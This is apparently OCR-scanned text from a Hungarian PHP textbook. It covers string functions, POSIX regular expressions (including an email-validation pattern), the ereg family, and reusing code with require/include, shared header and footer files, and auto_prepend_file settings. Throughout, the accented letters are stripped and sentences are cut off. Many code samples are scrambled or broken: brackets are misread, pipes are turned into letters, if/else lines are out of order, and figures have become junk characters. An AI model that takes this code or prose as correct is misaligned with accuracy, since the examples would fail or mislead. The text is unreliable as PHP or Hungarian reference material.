A fggvnynek kr paramtert adunk r: az egyik a karakrerlnc,amelyikben keressen ( szenakazal ) , a msik pedig az,
amir keressen (tu).Amennyiben rkleres egyezsger tall,a fggvny a tu-rl indulva visszaadja a szenakazal karakter
lncot; ha nincs egyezsg,akkor false rtkkel tr vissza. Amennyiben a tu egynl tbbszr elfordul,a visszaadott karak
terlnc az els elfordulsval kezddik.
Intelligens rlapunkban pldul meghatrozhatjuk,hogy adott feltrelek reljeslse esern hova cmeuk az e-mailt:
$cmzett =
'uzenet@pelda.com';
ll az alaprtelmezett e-mail cm
'bolt'))
$cmzett = 'kiskereskedelem@pelda.com';
else if (strstr($uzenet,
else if (strstr($uzenet,
---'
'kiszllts'))
$cimzett = 'szallitas@pelda.com';
$cmzett =
'szmla'))
'penzugy@pelda.com';
A kd adott kulcsszavakar keres az zenetben,s megltk esern a megfelel szemlynek tovbbrja azt. Amennyiben az
"
gyfl zenere pldul az albbi:"Mg mindig nem trtnt meg urols rendelsemnl a kiszllrs;' a kd szleli a "kiszllirs
kulcsszr,s ennek megfelelen a
szallitas@pelda.com
string tu,
int
[offset]
);
A fggvny ltal visszaadott egsz szm a tu karakterlnc szenakazal sztringen belli els elfordulsnak pozcijt
mutatja. Az els karakter pozcija szoks szerm O.
A kvetkez kd pldul a 4-es rtket ratja ki a bngszvel:
$teszt = "Hell,
vilg!";
echo strpos($teszt,
"o");
'o',
5);
Ez a 7 -es rtker rarja ki a bngszvel, mivel a PHP az 5. pozcirl kezdve keresi az o karaktert, gy nem fogja megtallni
a 4. pozciban levt.
83
Az strrpos () fggvny szinten teljesen megegyezik az strpos ()-sal, m a tu utols elfordulsnak a pozcijt adja vissza.
Amennyiben a keressi kifejezs nem tallhat a karakterlncban, az strpos () s az strrpos () is false rtkkel tr
vissza. Ez akr problmt is jelenthet, mivel egy olyan gyengn tpusos nyelvben, mint a PHP, a false a O-val egyenrtk
if ($eredmeny
===
"H");
false)
". $eredmeny;
<add res s>-t pedig cmre cserlve.Alkalmas konkrt kifejezsek moderlsra- pldul nyilvnos frumok vagy akr
a most fejlesztett intelligens rlapunk eset.n is. Erre a clra a sztringkezel fggvnyek s a regulris kifejezsek fggvnyei is
megfelelnek.
A leggyakrabban hasznlt sztringcserl fggvny az str_replace ().A kvetkez prototpussal rendelkezik:
Megjegyzs: Minden paramter tadhat tmbknt, s az str_replace ()fggvny mdfelett intelligensen mkdik. At
adhaljuk a cserlend szavak tmbjt, az ezeket cserl szavak tmbjt, illetve azon karakterlncok tmbjt, amelyekre a csert
alkalmazni kvnjuk. A fggvny ezt kveten az tdolgozott karakterlncok tmbjt adja vissza.
Mivel az emberek reklamlsra is hasznlhatjk intelligens rlapunkat, nyomdafestket nem tr szavak is elfordulharnak
zeneteikben. Programozknt megakadlyozhatjuk, hogy Bob klnbz rszlegeit brmilyen mdon zaklassk, ha a srt
kifejezseket sszegyjtjk egy $nyomdafesteket_ nem_turo nev tmbben. Nzzk a pldt az str_replace()
fggvny tmbbel trtn alkalmazsra:
$uzenet
str_replace( $nyomdafesteket_nem_turo,
'
% ! @*', $uzenet) ;
A substr_replace() fggvny pozcija alapjn keresi meg s cserli ki egy karakterlnc adott rszsztringjt.Az albbi
prototipussal mkdik:
string substr_replace(string sztring,
string csere,
int start,
int
[hossz]
);
A fggvny a csere sztringre cserli le asztring karakterlnc egy rszt. Hogy pontosan melyik rsz lesz lecserlve, azt
utols karaktert:
$teszt = substr_replace($teszt,
'X',
-l);
A hossz opcionlis rtk, s azt a pontot hatrozza meg, ahol a PHP abbahagyja a csert. Ha nem hatrozzuk meg rt
Ha a teszt rtke nulla, akkor a cseresztring a meglv karakterlnc fellrsa nlkl lesz beszrva. A pozitv teszt rt
kek az j karakterlncra lecserlni kvnt karakterek szmt jelentik, a negatv tes zt rtkek pedig azt a- karakterlnc vgrl
szmtott- pontot hatrozzk meg, ahol a karakterek cserjt abba kvnjuk hagyni.
gatj a a PHP, s az 5.3-as verzitl kezdve a Perl (PCRE) tpus nem kapcsolhat ki. Itt azonban az egyszerbb POSIX stlust
84
4. fejezet
Megjegyzs: A POSIX regulris kifejezsek knnyebben s gyorsabban elsajtthatk, m a binris adatokat nem mindig
helyesen kezelik (nem "binary safe" kifejezsek).
A mintaillesztsekhez idig szeringkezel fggvnyeket hasznltunk. Pontos egyezsgre vagy rszsztringek pontos egyez
sgre voltunk korltozva. Ha sszetettebb rnintaillesztsre van szksgnk, regulris kifejezseket kell hasznlnunk. A regul
ris kifejezsek mkdst elsre nem knny megrteni, de alkalmazsuk rendkivl hasznos tud lenni.
Azalapok
A regulris kifejezsek szvegdarabban lev rnintk lersnak egy mdszert jelentik. Az eddig ltott pontos egyezsg a regulris
kifejezsek egyik formja. Korbban pldul olyan regulris kifejezsekre kerestnk, mint a "bolt" vagy a " kis z ll ts".
A regulris kifejezsek illesztse PHP-ben sokkal inkbb egy strstr ( ) illesztshez, mintsem egyenlsg megllaptshoz
hasonlt, rnivel valahol egy msik karakterlncon belli sztringet illesztnk. (Ha mskppen nem hatrozzuk meg, akkor a ka
rakterlncon bell brhol lehet.) A "bolt" karakterlnc pldul megfelel a "bolt" regulris kifejezsnek. Ugyangy megfe
lel az "o", "ol" stb. regulris kifejezseknek is.
A karakterek pontos illesztsn tlmenen klnleges karaktereket hasznlva jellhetnk rtelmezsi tartomnyokat. K
lnleges karakterekkel jellhetjk azt, hogy az adott rnintnak a karakterlnc elejn vagy vgn kell elfordulnia, a rninta egy
rsze ismtldhet, vagy a mintban lv karaktereknek adott tpusnak kell lennik. Klnleges karakterek literlis elfordul
saira is illeszthetnk. A kvetkezkben ezen lehetsgeket fogjuk ttekinteni.
regulris kifejezs pldul egyebek kztt a "lap", "nap" s "pap" karakterlncnak felel meg. Az ilyen dzskerkarakter-il
leszrst gyakran hasznljk az opercis rendszer fjlneveinek keressre.
A regulris kifejezsekkel azonban sokkal konkrtabban megadhatjuk a kivnt karakterilleszts tpust, s pontosan meg
adhatjuk, milyen karakterkszleebe kell az adott karakternek tartoznia. Az elz pldban lv regulris kifejezs nem csak
a "nap" s a "pap" sznak felel meg, hanem a" itap" karakterlncnak is. Ha a s z kztti karakterre szeremnk korltozni,
a kvetkezkppen kell meghatroznunk:
[a-z)ap
lesztett karakternek tartoznia kell. Fontos, hogy a szgletes zrjelben lv kifejezshez csak egyetlen karakter illeszkedhet.
A kszletet felsorolssal is megadhatjuk; az
[aeiou)
kszlet pldul a nem az a s z kz es karaktereket foglalja magban. A szgletes zrjeleken bell elhelyezett beszrsi jel
( ) nem et jelent. A szgletes zrjeleken kvl ms jelentssei br, rvidesen azt is megvizsgljuk.
A
A kszletek s tartomnyok felsorolsa mellett elre meghatrozott karakterosztlyokat is hasznlhatunk a regulris kifejez
sekben. A 4.3 tblzat ezeket az osztlyokat mutatja.
4.3 tblzat: POSIX stlus
Osztly
[[:alnum:))
Alfanumerikus karakterek
[[:alpha:])
Alfabetikus karakterek
[ [ : lower: ll
Kisbetk
Osztly
[[:upper:l l
Nagybetk
[[:digit:]]
Decimlis szmjegyek
[[: xdigit: ll
rfexadecnlis szrrYegyek
[[:punct: ll
rsjelek
[ [ :blank: ll
Tabultorak s szkzk
[ [ :space: ll
Fehrkz karakterek
[[:cntrl:))
Vezrl karakterek
[[:print:l l
[[:graph:]]
85
Ismtlds
Gyakran azt is meg szeretnnk hatrozni, hogy egy adott karakterlnc vagy karakterosztly tbb elfordulsa lehetsges. Kt
klnleges karakter ll rendelkezsnkre, hogy regulris kifejezsnkben jelezzk ezt. A
ta nulla vagy tbb, a + szimblum azt, hogy egy vagy tbb alkalommal ismtldhet. A szimblumot a kifejezs kzvetlenl
azon rsze utn kell elhelyezni, amire vonatkozik. Az
[[:alnum:))+
Rszkifejezsek
A kifejezsek rszekre bontsnak kpessge lehetv teszi, hogy meghatrozzuk pldul a kvetkezket:.,ezen karakterlncok
kzill legalbb egyet pontosan ez kvet': A kifejezseket zrjelekkel tudjuk felbontani - pontosan gy, ahogy matematikai
kifejezsek esetn hasznljuk ket. Ennek megfelelen a
(nagyon ) *nagy
regulris kifejezsnek pldul a .,nagy", .,nagyon nagy", .,nagyon nagyon nagy" stb. karakterlncok felelnek meg.
Szmolt rszkifejezsek
Kapcsos zrjelek ( { } ) kz rt szmszer kifejezssel meghatrozhatjuk, hny ismtlds lehetsges. Megadharjuk az ismt
ldsek konkrt szmt (a {3} pontosan hrom ismtldst jelent), ismtldsek tartomnyt (a {2,
4} kett-ngy ismt
ldse jelent), illetve ismtldsek nyltvg tartomnyt (a {2, } legalbb kt ismcldst jelent).
A
(nagyon} {l,
3}
"
nekmeg.
Az albbi mintnak pedig azok a karakterlncok felelnek meg. ahol a com a sztting vgn helyezkedik el:
com$
86
4. fejezet
gaztats
A regulris kifejezsen belli vlasztsi lehetsget fuggleges vonallal jelljk. A com, ed u vagy net domainvgzdsnek pl
dul az albbi kifejezs felel meg:
comledulnet
Karakter
\
Jelents
Kiemel karakter
A karakterlnc elejnl trtn illeszts
4.5
tblzat: POSIX regulris kifejezsekben szgletes zrjeleken bell hasznlt, klnleges karakterek sszefoglalsa
Karakter
\
Jelents
Kiemel karakter
NEM- csak kezd pozciban hasznlhat
Karaktertartomnyok meghatrozsra hasznlhat
87
A msodik alkalmazsi lehetsg az gyfl e-mail cmnek ellenrzse. Ehhez regulris kifejezsbe kdoljuk az e-mail
cmek szabvnyostott formtu mt. A formtum a kvetkezkppen pl fel: alfanumerikus karakterek vagy rsjegyek soro
zata, ezt kveti egy
@ szimblum, majd egy alfanumerikus karakterekbl s ktjelekbl ll karakcerlnc, egy pont, ismt
alfanumerikus karakterekbl s ktjelekbl ll sztring, megint egy pont, majd jra karakterlnc; ez utbbi kett tbbszr
ismtldhet. A kvetkezkppen kdolhaguk ezt:
'[a-zA-ZO-9 \-.l+@ [a-zA-ZO-9\-l +\. [a-zA-ZO-9\-.l+$
_
A A[a-zA-Z O -9 \- . l + rszkifejezs azt jelenti, hogy "legalbb egy betbl, szmbl, alulvonsbl, ktjelbl, pontbl
_
vagy ezek tetszleges kombincijbl ll karakterlnc: rdemes megjegyezni, hogy amikor a pontot karakterosztly elejn
vagy vgn hasznljuk, elveszti klnleges dzskerkarakter jelentst, s egyszer pontt vlik.
A @ szimblum a literlls @ jelnek felel meg.
A [a-zA-ZO-9\-]+ rszkifejezs a hosztnv els, alfanumerikus karaktereket s ktjeleket tartalmaz rszt jelkpezi. Fi
gyeljk meg, hogy a ktjelet visszaperjellel kiemeltk, mivel szgletes zrjeleken bell a ktjel klnleges karakternek minsl!
A \. kombinci egyszer pontnak (.) felel meg. Karakterosztlyokon kvl hasznljuk a pontot, gy ki kell emelnnk
ahhoz, hogy csak az egyszer (literlis) pontnak feleljen meg.
A domainnv tbbi rszt a [a-zA-ZO -9\-\ .]+$ rszkifejezs jelkpezi, amely betket, szmokat, ktjelet s szksg
esetn tbb pontot is tartalmaz a karakterlnc vgig.
Nmi gondolkods utn belthat, hogy el tudunk lltani olyan e-mail cmeket, amelyek illeszkednek ehhez a regulris kife
jezshez, mgis rvnytelenek. Szinte lehetetlen minden hamis e-mail cmer kiszrni, m ezzel az ellenrzssei valamennyit javt
hat a helyzet. Sokflekppen linomithatjuk ezt a kifejezst. Felsorolhaguk pldul a legfels szint tartomnyneveket
(TOL).
gyeljnk azonban, amikor tovbb szkgk a megfelelsget, mert egy olyan ellenrz fggvny, amely az rvnyes adatok akr
csak l szzalkt is kiszri, sokkal zavarbb lehet, mint egy olyan, amely tenged akr 10 szzalknyi rvnytelen adatot is.
Most, hogy alapsznten megismerkedtnk a regulris kifejezsekkel, kszen llunk arca, hogy megvizsgljuk az azokat hasz
nl PHP fggvnyeket.
POSIX srlus regulris kifejezsek illesztsre az e reg () s az e regi ().Az ereg () fggvny prototipusa a kvetkez:
array [talalatok]);
A fggvny kereses helye karakterlncban keres a minta regulris kifejezsnek megfelel sztringet. A minta rszkife
_
jezseire add tallatok esetn a fggvny a talalatok tmbben trolja azokat, tmbelemenknt egy rszkifejezst.
Az eregi() fggvny teljes mctkben hasonlan mkdik azzal a kivtellel, hogy nem tesz klnbsget a kis- s nagybe
tk kztt.
s prblkezzon jra!<lp>";
exit;
$cmzett
"uzenet@pelda.com";
ll az alaprtelmezett rtk
if (eregi("boltlgy flszolglatlkiskereskedelem",
$cimzett
$cimzett
"szallitas@pelda.com";
else if (eregi("szmla",
$cimzett
$uzenet))
"kiskereskedelem@pelda.com";
else if (eregi("kiszllitslteljesits",
$uzenet))
"penzugy@pelda.com";
$uzenet))
l4
88
4. fejezet
if (eregi("nagyugyfel\.com",
$cimzett
$email))
"bob@pelda.com";
string csere,
string kereses_helye);
A fggvny a minta regulris kifejezst keresi a kereses_helye karakterlncban,s a tallatokat a csere szrringre cserli.
Az eregi_replace() mkdse ezzel szinte teljesen megegyez, m nem tesz klnbsget a kis- s nagybetk kztt.
int max]);
A fggvny a minta regulris kifejezs alapjn rszsztringekre bontja a kereses_helye karakterlncot,s tmbben adja
vissza a rszsztringeket.A max egsz szmmal korltozhatjuk a tmbbe kerl elemek szmt.
A fggvnyt hasznlhatjuk pldul e-mail cmek,domainnevek vagy dcumok sztbontsra. Tekintsk a kvetkez pldt:
$eim= "felhasznaloi_nev@pelda.com";
$tomb
split ("\.1@",
while (list($kulcs,
$eim);
az
felhasznaloi nev
@
pelda
com
Megjegyzs: ltalnossgban megllapthat, hogy a regulris kifejezsek fggvnyei kevsb hatkonyan Jutnak le, mint a ha
sonl funkcij sztringkezelJggvnyek. Amennyiben Jeladatunk kellen egyszer ahhoz, hogy sztringkifejezs hasznlatval
megoldjuk, tegynk gy! Ez nem szksgszeren rvnyes azokra az egyetlen regulris kifejezs fggvnnyel elvgezhet felada
tokra, amelyekhez msklnben tbb sztringkezelfggvnyre lenne szksg.
Tovbbi olvasnival
A PHP szmtalan szeringkezel fggvnnyel rendelkezik. Ebben a fejezetben csak a legfontosabbakat trgyalruk, de ha kln
[eges ignynk van (pldul cirill karakterekre alakts), a PHP online kziknyvben ellenrizhetjk, hogy ltezik-e szmunk
ra megoldst jelent fggvny.
A regulris kifejezsek tmakrben bsges irodalomban vlogathatunk. Ha Unixor hasznlunk, kezdherjk a kutatst
a regexp ma n oldaln,s kivl rsokat tallunk a devshed.com s phpbuilder.com cmen is.
A Zend w eboldaln az itt fejlesztettnl sszetettebb s hatsosabb e-mail-ellenrz fggvnyt is tallunk. Neve
MailVal (),s a
Nmi idre van szksg. amg kellen elmlylnk a regulris kifejezsekben; minl tbb pldt nznk meg s futtatunk,
annl biztosabb vlunk hasznlarukban.
Hogyan tovbb?
A kvetkez fejezetben tbb mdszert is megismernk arra, hogyan lehet meglv kd tbbszri felhasznlsval programoz
si idt s energit megsprolnunk, illetve elkerlnnk a redundancit.
5
Kd tbbszri felhasznlsa
s fggvnyrs
A fejezetbl kiderl, hogyan lehet meglv kddarabok tbbszri felhasznlsval egysgesebb, megbzhatbb, kezelhetbb progra
mot rni. Radsul azt is Jmi fogjuk, hogy ezzel nem kevs munktl kmlhetjk meg magunkat. Bemutatjuk a kd modulriss
ttelnek s tbbszri felhasznlsnak klnbz mdszereit, kzrk a require () s include () utasts egyszer hasznlatr,
ami lehetv teszi, hogy egynl tbb weboldalon alkalmazzuk ugyanazt a kdot. Elmagyarzzuk, mirt jobbak ezek a beillesztsek
a szerveroldaliaknl. A fejezetben bemutatott plda f:ijlbeillesztsek ltal teszi egysgess a teljes honlap megjelenst s hasznlatr.
Oldal- s rlapkszt fggvnyek pldjn kereszrl azt is megrodhatj uk, hogyan lehet sajt fggvnyeinket lttehozni s meghvni.
A fejezetben az albbi fbb tmakrket trgyaljuk:
Ismerkeds a fggvnyekkel
Paramterek hasznlata
Fggvnyek definilsa
o
rtk visszaadsa
Rekurzi megvalstsa
Nvrerek hasznlata
kltsgek, javul a megbzhatsg, s egysgesebb lesz a program. j projekt ltrehozsa idelis esetben meglv s tbbszr
felhasznlhat alkotelemek kombinlst jelenti, amit a lehet legkevesebb jonnan rt kd egszt ki.
Kltsg
Minden szaftver hasznos lertartama alatt sokkal tbb idt fordtanak fenntartsra, mdostsra, tesztelsre s dokumen
tlsra, rnint amennyit eredetileg megrsval tltrtek. Amennyiben zleti clra fejlesztnk, trekednnk kell arra, hogy kor
ltozzuk az adott cgnl vagy szervezetnl hasznlatban lv kdsorok szmt. Ezt a clt legpraktikusabban gy teljesthetjk,
ha ahelyett, hogy minden egyes feladathoz teljesen j kdot rnnk, igyeksznk meglv kdjainkat vagy programrszleteinket
jbl felhasznlni. A kevesebb kd alacsonyabb kltsget jelent. Ha meglv szoftver megfelel az j projekt kvetelmnyeinek,
szerezzk be azt! Meglv szoftver megvsrlsnak a kltsge szinte mindg alacsonyabb, rnint egy azzal egyenrtk termk
kifejleszts. vatosan bnjunk azonban az olyan esetekkel, amikor egy meglv szoftver majdnem megfelel szmunkra! Meg
lv kd mdostsa sokszor bonyolultabb feladat, mint j kd rsa.
Megbzhatsg
Ha valamely kdmodul mr hasznlatban van az adott szervezeml, akkor korbban feltehetleg mr gondosan teszteltk azt.
Ha ez a modul csak nhny sornyi kdot tartalmaz, mg akkor is fennll a lehetsge, hogy jrarsa esetn elkerli figyelmn-
90
5. fejezet
ket valami aprsg,amivel az eredeti szerz kiegsztette, vagy amit a tesztels alatt szrevert brmilyen hiba miart hozzadtak.
A meglv, kiforrort kd jellemzen megbzhatbb, mint a friss, mg.,retlen':
Egysgessg
A rendszernkhz kapcsold kls csarolfelleteknek, gy a kezelfelleteknek s a kls rendszerekre mutat felleteknek
egyarnt egysgesnek kell lennik. A rendszer tbbi rsznek mkdshez illeszked j kd megrshoz elhatrozsra s,
bizony, nem kevs munkra van szksg. Amennyiben a rendszer msik rszt futtat kdot hasznlunk fel, akkor az egysges
mkds automatikusan addik.
Mindezen elnyk mellett nem elhanyagolhat az sem, hogy a meglv kd tbbszri felhasznlsa kevesebb munkval jr,
feltve persze, hogy az eredeti kd modulris s jl megrt. Munknk sorn prbljuk meg beazonostani azokat a kdrszlete
ket, amelyeket esetleg a ksbbiekben jbl meghvharunk!
leszteni. Az eddig emltert pldkban-honlap fejlce s lblce - ennek a funkcinak nem volt klnsebb jelentsge. Akkor
vlik hasznoss, amikor a requ ire (} s inelude (} utastsokkal fggvnyek knyvtrait kezdjk el beilleszteni. Az utas
tsok ezen varinsaival elkerlhet, hogy vletlenl ktszer illesszk be ugyanazt a fggvnyknyvtrat, hiszen azzal jradefini
lnnk a fggvnyeket, ami hatatlanul hibt eredmnyezne. Amennyiben kellen figyelmesek vagyunk kdolsi gyakorlarunk
ban,jobban jrunk a require (} vagy az include (} hasznlatval, mivel ezek az utastsok gyorsabban hajtdnak vgre.
/>';
?>
'Ez a f fjl.<br
require(
echo
'A
/>';
'ujrahasznalhato.php'
};
?>
PHP
utasts. szveg jelenik meg bngsznkben. A fo.php betltsekor valami rdekesebb trtnik. A kd kimenett az 5.1
brn lthatjuk.
tlf
______ ....,..
lloo
-:.=.;.;
Cf a
l_--
lu6.,_
Erilcry....,...,_-tPtiP--.
AW.azd"""'"'et
91
A require ( ) utasts hasznlathoz fjira van szksg. Az elz pldban az ujrahasznalhato. php nev llomnyt
hasznltuk. Amikor futtatjuk a kdot, a
require(
'ujrahasznalhato.php'
utasts helyt a krt fjl tartalma veszi t, majd vgrehajtdik a kd. Ez azt jelenti, hogy amikor betltjk a fo. php fjlt, gy
fut le, mintha a kd a kvetkezkppen lenne megrva:
<?php
echo " Ez a f6
fjl.<br
/>";
"
PHP
utasts.<br />";
/>";
?>
A require () hasznlatakor figyelembe kell vennnk a fjlnvkiterjesztsek s a PHP cmkk (tag) kezelse kztti k
lnbsget.
A PHP-t nem rdekli a krt fjl fjlnvkiterjesztse. Ez azt jelenti, hogy tetszleges nevet adhatunk fjlunknak - feltve,
hogy nem tervezzk kzvedenl meghvni. Amikor a require ( ) utastst hasznljuk a fjl betltsre, az lnyegben egy
PHP fjl rszv vlik, s ekknt hajtdik vgre.
Amennyiben a PHP utastsok pldul egy oldal.html nev fjlban lennnek eltrolva, akkor alaphelyzetben nem
kerlnnek feldolgozsra. A PHP-t jellemzen csak a meghatrozott, pldul . php Iciterjeszts fjlok feldolgozsra uta
srjuk. (Ezt mdosthatjuk webszervernk konfigurcis fjljban.) Ha viszont require () utasrson keresztl tltjk be
az oldal.html
fjlt, az abban lev sszes PHP utasts fel lesz dolgozva. gy brmilyen, neknk tetsz kiterjesztst hasznl
harunk a f:ijlok beillesztsre, m rdemes ragaszkodni az . inc vagy a . php kiterjeszts hasznlathoz.
Nem rt tudni, hogy ha . inc vagy ms, nem szabvnyos kiterjesztssei vgzd f:ijlokat trolunk a webes dokumentumfban,
s a felhasznJk kzveclenl betltik azokat a bngszbe, egyszer szvegknt fogjk Jmi a kdot, s benne az esetleges jelszava
kat. ppen ezrt fontos, hogy a beillesztett fjlokat a dokumentumfn kvl troljuk, vagy szabvnyos kiterjesztseket hasznljunk.
/>";
?>
A PHP kdot PHP cmkk kztt helyeztk el a f:ijlba. Ehhez a szablyhoz neknk is ragaszkodnunk kell, ha azt sze
retnnk, hogy a krt fjlban lv PHP kd akknt legyen kezeive. Ha nem nyitunk PHP cmkt, kdunk szvegknt vagy
HTML-knt lesz kezeive, s nem hajtdik vgre.
liZI!
TLA Consultmg
t!J!IIII
.
Wlt{jllfip.!MUJ. .il?fi AM
TlACncanghonlltA6nii<*JfktD!pllilosiCMI.61S1111!1Je1'1'18QctgOrQCI
N.aztelleOrtiSIIOIIOCI
_..,, 1
. .... ..
..
...
........ .. ..
".
5.2 bra: A TLA Consuiting honlapjnak minden oldala egysges kpet mutat.
Gondoljunk bele az albbi helyzetbe: a honlapot mr j ideje hasznljk, gy a cg most tbb tz, szz vagy akr ezer, ugyan
olyan stlust kvet oldallal rendelkezik. Az a dnts szletik, hogy rszben mdostank a honlap megjelenst; a vltoztats
92
5. fejezet
lehet egszen apr, pldul egy e-mail cm hozzadsa a minden egyes oldal aljn lthat lbrszhez vagy j elem hozzadsa
a navigcit lehetv tev menhz. J lenne, ha ezt az aprbb mdostst tbb tz, szz vagy akr ezer oldalon vgre kellene
haJtanunk
A rninden oldalon megtallhat HTML szakaszok jbli hasznlata sokkal jobb megkzeltsi md, mint tbb tz, szz vagy
akr ezer oldalon vgrehajtani a msols-beilleszts monoton lpseit. Az 5.2 brn lthat nyitoldal ( kezdolap. html) for
rskdja az 5.1 pldakdban lthat.
5.1 pldakd: kezdalap.html -A TLA Consuiting nyitoldalt elllt HTML kd
<html>
<head>
<title>TLA Consulting Pty Ltd</title>
<style type="text/css">
hl
{color:white;
font-size:24pt;
text-align:center;
font-family:arial,sans-serifl
.menu
{color:white;
font-size:12pt;
text-align:center;
font-family:arial,sans-serif;
td
p
font-weight:boldl
{background:blackl
{color:black;
font-size:12pt;
text-align:justify;
font-family:arial,sans-serif}
p.foot
{color:white;
font-size:9pt;
text-align:center;
font-family:arial,sans-serif;
a:link,a:visited,a:active
font-weight:bold}
{color:white}
</style>
</head>
<body>
width="70"></td>
</tr>
</table>
<1-- men -->
<table width="lOO%"
<tr >
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Kezd6lap</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Kapcsolat</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Szolgltatsok</span></td>
<td width="25%">
<img src="s-logo.gif" alt="" height="20" width="20">
<span class="menu">Oldaltrkp</span></td>
93
</tr>
</table>
Consulting
honlapjn!
remljk,
<p class="foot">Krjk,
olvassa el honlapunk
Az 5.1 pldakdban lthatjuk, hogy a fjl szmos elklnl kdrszletbl ll. A HTML fejrsz az oldal ltal hasznlt
caseaciing scyle sheet-
vet s a logt, a.,men" az oldal navigcis svjt, az"oldal tartalom'' az adott oldal egyedi szvegr jelenti meg. Ez alatt rallha
t az oldal lblce. rdemes felosztani ezt a fjlt, s a rszeinek a fejlee.php, kezdelap.php s lablec .php nevet adni.
A fejlee.php s a l ablee.ph p is olyan kdot tartalmaz, amelyet a klnbz oldalakon jra s jra felhasznlhatunk.
A kezdelap. php fjl tveszi a kezdelap. html helyt: ahogy az 5.2 mintakdbl ltjuk, tartalmazza az egyedi oldaltartalmat s a kr reguire () utastst.
5.2 pldakd: kezdelap. php-A TLA nyitoldalt elllt PHP kd
<?php
reguire('fejlec.php');
?>
<!-- oldal tartalom -->
<p>Kszntjk a TLA Consulting honlapjn!
Krjk,
remljk,
A kezdelap. php fjlban lv reguire ( ) utastsok a fejlee.php s lablec. php fjlt tltik be.
Ahogy korbban mr jeleztk, az ezeknek a fjloknak adott nv nincs hatssal arra, hogyan lesznek feldolgozva
a reguire () utasts ltali meghvsuk esetn. Bevett szoks, hogy a ksbb ms fjlokba heilleszrend llomnyoknak
a
valami.inc nevet adjk (az inc itt az include, azaz beilleszts szra utal). ltalnossgban nem ajnljuk ennek kvet
st, mivel az .inc fjlok csak akkor rtelmezdnek PHP kdknt, ha a webszerveren ezt kifejezetren belltottk.
Ha mgis gy tesznk, a heillesztsi llomnyainkat olyan knyvtrba helyezzk el, amit kdjaink ltnak ugyan, de az nem
engedlyezi a heillesztsi fjlok webszerveren keresztli, egyenknti betltst. Ez azt jelenti, hogy ennek a knyvtrnak a we
bes dokumentumfn kivl kell elhelyezkednie. Azrt kvetend ez a stratgia, mert megakadlyozza e fjlok egyenknti betl
tst, ami
(a) hibkat eredmnyezne, ha a fjlkiterjeszts .php, de a fjl egy oldalnak vagy kdnak csak egy rszr tartalmazza, vagy
(b) egyb kiterjeszts hasznlata esetn msok szmra olvashatv teszi a forrskdot.
94
5. fejezet
A fejlee.php fjlban az oldal ltal hasznlt CSS defincikat, illetve a cgnevet s a menelemeket tartalmaz tblzato
kat talljuk {lsd 5.3 pldakd l).
5.3 pldakd: fejlee.php
-Az sszes
TLA-oldal
<html>
<head>
<title>TLA Consulting
Pty Ltd</title>
<style type="text/css">
hl
{color:white;
font-size:24pt;
text-align:center;
font-family:arial,sans-serif}
.menu
{color:white;
font-size:l2pt;
text-align:center;
font-family:arial,sans-serif;
td
p
font-weight:bold}
{background:black}
{color:black;
font-size:l2pt;
text-align:justify;
font-family:arial,sans-serif}
p.foot
{color:white;
font-size:9pt;
text-align:center;
font-family:arial,sans-serif;
a:link,a:visited,a:active
font-weight:bold}
{color:white}
</style>
</head>
<body>
height="70"
width="70"
/></td>
</tr>
</table>
A lablec. php fjl az egyes oldalak aljn lthat lblcet megjelent tblzatot tartalmazza. A fjlban lv kd az 5.4
pldakdban olvashat.
-Az sszes
TLA-oldal
95
<p class="foot">Krjk,
jogi nyilatkozatt!</a></p>
<ltd>
</tr>
</table>
</body>
</html>
Ezzel a megkzeltssel igen egyszeren kapunk egysges megjelens weboldalt, s pldul az albbi szveg begpelsvel
knnyedn ltrehozhatunk egy j, a tbbivel megegyez stlus oldalt:
<?php require ('fejlee.php') ;
?>
?>
Ami taln a legfontosabb: miutn szmtalan oldalt ltrehoztunk ezzel a fejlccel s lblccel, knnyedn mdosthatjuk a fej
lc s a lblc fjljait. Akr apr szvegvltozatsrl van sz, akr teljesen talaktjuk az oldal megjelenst, csak egyszer kell
vgrehajtani a mdostst. Nem kell a honlap minden egyes oldalt egyenknt megvltoztatni, mivel minden oldal a fejlc- s
lblcfjlokkal tltdik be.
Az itt bemutatott plda csak egyszer HMTL-t hasznl a trzsben (body), fejlcben s lblcben. Nem felttlenl mindig
a helyzet. Az oldal rszeinek dinamikus ellltsra hasznlhatnnk PHP utastsokat is ezekben a fjlokban.
ez
Ha szeretnnk biztosak lenni abban, hogy valamely fjlt egyszer szvegknt vagy HTML-knt kezelnk, s semmilyen
PHP kd nem fut le, hasznljuk inkbb a
readfile ( )
szben tartani ezt a biztonsgi vintzkedst, amennyiben felhasznltl szrmaz szveggel dolgozunk.
Az
a uto_prepend_file
require
php. ini
belltjuk, hogy ezek a fejlc- s lblcfjlokra mutassanak, azt rjk el, hogy rninden oldal eltt s utn betltdnek.
Az gy beillesztett fjlok gy viselkednek, mintha az include () utastssal lettek volna hozzadva; vagyis hinyz fjl esetn
figyelmeztetst kapunk.
Windows alatt a belltsok gy nznek ki:
auto_prepend_file = "c: /Program
Files/Apache Software
Froundation/Apache2.2//include/fejlec.php"
auto_append_file = "c:/Program
Files/Apache Group/Apache2/include/lablec.php"
/home/username/include/lablec.php"
Amennyiben ezeket a belltsokat hasznljuk, nem kell begpelnnk az include () utastsokat, m ekkor a fejlcek s
lblcek tbb nem opcionlis elemek lesznek az oldalakon.
Ha Apache webszervert hasznlunk, knyvtranknt adhatjuk meg az ilyen kon6gurcis belltsokat. Ehhez be kell llta
nunk kiszolglnkat, hogy engedje f kon6gurcis fjljnak vagy fjljainak a fellrst. Hogy belltsuk valamely knyvtrnl
az
automatikus el- s utncsatolst (prepend s append), hozzunk ltre benne egy . htaccess nev fjlt! Ennek az llo
Figyeljk meg, hogy a szintaktika kiss eltr ugyanennek a belltsnak a php.ini-beli vltozattl: a sor elejn a php_
value
tallhat, illetve nincsen egyenlsgjel. Szmos ms php.ini kon6gurcis bellts is mdosthat gy.
l 5
'
96
5. fejezet
Azzal, hogy a bellirsokat a php. ini llomny vagy a webszerver-konfigurcis fjl helyett a . htaccess llomnyban
adjuk meg, rugalmasabban dolgozhacunk. Megosztott gpen gy mdosthatjuk a belltsokat, hogy az csak a sajt knyv
trainkra vonatkozzon. Nem szksges jraindtani a webszervert, s nincs szksgnk rendszergazdai hozzfrsre sem.
A . htaccess mdszer htrnya, hogy a fjlok sorsa nem csak elindulskor, hanem a knyvcrban lv brmely fJl lekrse
